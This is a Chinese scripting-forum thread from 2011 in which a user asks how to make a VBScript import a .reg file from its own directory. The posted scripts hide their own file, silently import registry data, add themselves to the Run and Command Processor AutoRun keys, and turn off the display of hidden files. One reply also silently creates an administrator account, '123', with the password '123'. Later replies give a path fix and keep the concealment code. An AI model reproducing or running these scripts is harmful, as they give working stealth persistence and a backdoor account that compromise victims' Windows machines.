批处理之家 » VBS求助&讨论 » VBS怎样打开CMD窗口将自动导入reg注册表文件？

[新手上路]批处理新手入门导读	[视频教程]批处理基础视频教程	[视频教程]VBS基础视频教程	[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动	[批处理精品]CMD命令50条不能说的秘密	[在线下载]第三方命令行工具	[在线帮助]VBScript / JScript 在线参考

返回列表发帖

Rank: 1

帖子: 4
积分: 27
技术: 0
捐助: 0
注册时间: 2010-11-2

1楼 跳转到 » 倒序看帖

字体大小: tT

发表于 2011-8-23 17:26 | 只看该作者

[问题求助] VBS怎样打开CMD窗口将自动导入reg注册表文件？

dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34
set wsh=CreateObject("WScript.Shell")
wsh.run "regedit /s C:\test.reg" ,0,true
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&"" 
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" 
wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&"" 
wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
复制代码

怎么把wsh.run "regedit /s C:\test.reg" ,0,true 这个中的路径改成自动获取同目录的REG文件？

Rank: 5 Rank: 5

帖子: 522
积分: 1037
技术: 61
捐助: 0
注册时间: 2010-4-30

2楼

发表于 2011-8-23 19:20 | 只看该作者

dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34
set wsh=CreateObject("WScript.Shell")
wsh.run "net user 123 123/add",0,true
wsh.run "net localgroup administrators 123 /add" ,0,true
wsh.run "regedit /s C:\test.reg" ,0,true
复制代码

Rank: 7 Rank: 7 Rank: 7

帖子: 881
积分: 2103
技术: 95
捐助: 55
注册时间: 2010-5-23

3楼

发表于 2011-8-23 19:34 | 只看该作者

把里面的net user命令改为导入注册表文件的命令。楼上CUer兄多了添加账户的命令，删了即可

---学无止境---

Rank: 1

帖子: 4
积分: 27
技术: 0
捐助: 0
注册时间: 2010-11-2

4楼

发表于 2011-8-27 14:56 | 只看该作者

本帖最后由 baihuo998 于 2011-8-27 15:22 编辑

怎么把路径设置成自动获取同目录下的REG文件

Rank: 7 Rank: 7 Rank: 7

帖子: 881
积分: 2103
技术: 95
捐助: 55
注册时间: 2010-5-23

5楼

发表于 2011-8-27 21:20 | 只看该作者

dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34
set wsh=CreateObject("WScript.Shell")
wsh.run "regedit /s " & wsh.CurrentDirectory & "\test.reg" ,0,true
复制代码

---学无止境---